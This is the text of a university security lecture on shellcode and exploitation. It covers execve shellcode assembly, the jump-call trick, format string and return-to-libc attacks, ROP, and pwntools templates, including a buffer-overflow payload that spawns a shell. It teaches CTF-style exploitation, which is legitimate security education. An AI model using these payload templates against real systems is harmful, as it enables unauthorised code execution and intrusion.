Lecture 5
Exploiting. Shellcodes (part 2)

CNS
CTF crunch

Computer and Network Security
October 28, 2019
Computer Science and Engineering Department

push it on the stack and save the pointer

Data on stack
```
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
```

do a jump-call trick (http://stackoverflow.com/a/15704848)

jump-call trick
```
    jmp MESSAGE      ; 1) lets jump to MESSAGE
GOBACK:
    mov eax, 0x4
    mov ebx, 0x1
    pop ecx          ; 3) we are poping into 'ecx', now we have the
                     ; address of "Hello, World!\r\n"
MESSAGE:
    call GOBACK      ; 2) we are going back, since we used 'call', that means
                     ; the return address, which is in this case the address
                     ; of "Hello, World!\r\n", is pushed into the stack.
    db "Hello, World!", 0dh, 0ah
```

- ▶ stack addresses may differ even if not using ASLR
- ▶ you need a remote connection to send data: netcat, socket API, expect/pexpect API
- ▶ you may need multiple ping-pongs with the remote service
- ▶ pwntools (https://github.com/Gallopsled/pwntools) makes it easier

Notes

Notes

Notes

Notes

- ► strict input validation
- ► very limited set of instructions
- ► http://www.phrack.org/issues.html?issue=57&id=15# article
- ► use initial limited shell code to write extended shell code

- ► initialize an environment variable with the shellcode string
- ► environment variable is placed on the stack of main
- ► may be large enough to store large shellcodes
- ► unable to be done if stack is non-executable

- ► enough to overwrite the code pointer
- ► not enough the store the shellcode
- ► only use the buffer to overwrite the code pointer
- ► place the shellcode in a different location

- ► two-phase attack
- ► overwrite the code pointer with the address of main (or that of another function)
- ► call the vulnerable read/fgets/etc. function again
- ► you may use the first call to leak data or make some more room and the second call for the actual attack

- place the shellcode on the heap
- requires a heap buffer overflow
- made difficult by ASLR and non-executable flags

- uses `printf()` functions that don't do proper checking of arguments
- may use `%x` and `%s` to read arbitrary data and string from memory
- may use `%n` to write arbitrary data into memory and possibly trigger a shellcode execution
- `puts()` may be used; pass an address with information you want to leak

- if stack is non-executable, one may not execute code on the stack → no shellcode
- we could call the `system` library call with the *"/bin/bash"* argument
- with the help of a buffer overflow one overwrites the return address causing a call to libc
- this is restricted to only functions available in libc
- one must know in advance the address of the `system` library call
- the *"/bin/bash"* may be stored in an environment variable (or is already stored in the `SHELL` environment variable) and it's address may be placed on the stack

- using existing sequences ending in `ret` from the program executable code
- sequences are programmed on the stack and then executed one by one to provide the required effect
- sequences are called gadgets
- we'll talk more about these in the future classes

Notes

Notes

Notes

Notes

CNS CTF crunch

Generate shellcode in PEDA

```
gdb-peda$ shellcode generate x86/linux exec
```

CNS CTF crunch

- https://docs.pwntools.com/en/stable/,
  https://github.com/Gallopsled/pwntools
- automate exploiting tasks
- channels
- ELF inspection
- return oriented programming
- shellcodes
- packing/unpacking

CNS CTF crunch

Skeleton for using pwntools

```
from pwn import *

local = False
if local == True:
    io = process("/path/to/executable")
else:
    HOST = "141.85.100.200"
    PORT = 31337
    io = remote(HOST, PORT)

# TODO: Create shellcode, payload. Do ping-pong with the vulnerable program.
...
```

CNS CTF crunch

pwntools example

```
from pwn import *

io = process("/path/to/executable")

buffer_start = 0x08424242
buffer_to_ret_address_offset = 0x2c

# Craft payload: shellcode + padding + ovewrite_address
shellcode = asm(shellcraft.i386.linux.sh())
payload = shellcode + (buffer_to_ret_address_offset - \
    len(shellcode)) * "A" + p32(buffer_start)

# Send payload to overwrite return address with buffer
# start address (buffer stores shellcode).
io.send(payload)

# Do recv if required and other ping-pong with the vulnerable program.
...

# Turn interactive and use the shell.
io.interactive()
```

CNS
CTF crunch

Notes

- http://www.metasploit.com/
- metasploit framework (open source) + metasploit project
- penetration testing platform
- ships with hundreds of exploits (payloads)
- makes it easy to develop exploits

CNS
CTF crunch

Notes

- shellcode data
- jump-call trick
- alphanumeric shellcode
- environment variable
- string format attack

- return-to-libc
- pwntools
- shellcraft
- data packing
- pwntools tubes

CNS
CTF crunch

Notes

- http://www.blackhatlibrary.net/Category:Shellcode
- http://www.shell-storm.org/shellcode/
- http://www.metasploit.com/

CNS
CTF crunch

Notes

- The Ethical Hacker's Handbook, 3rd Edition
  - Chapter 13 & 14
- A Guide to Kernel Exploitation
  - Chapter 1: From User-Land to Kernel-Land Attacks
- The Art of Exploitation, 2nd Edition
  - Chapter 0x500. Shellcode
- Hacking Exposed. Malware and Rootkits
  - Part II: Rootkits
- https://www.win.tue.nl/~aeb/linux/hh/hh-10.html
- https://dhavalkapil.com/blogs/Shellcode-Injection/
- Smashing the Stack for Fun and Profit: http://insecure.org/stf/smashstack.html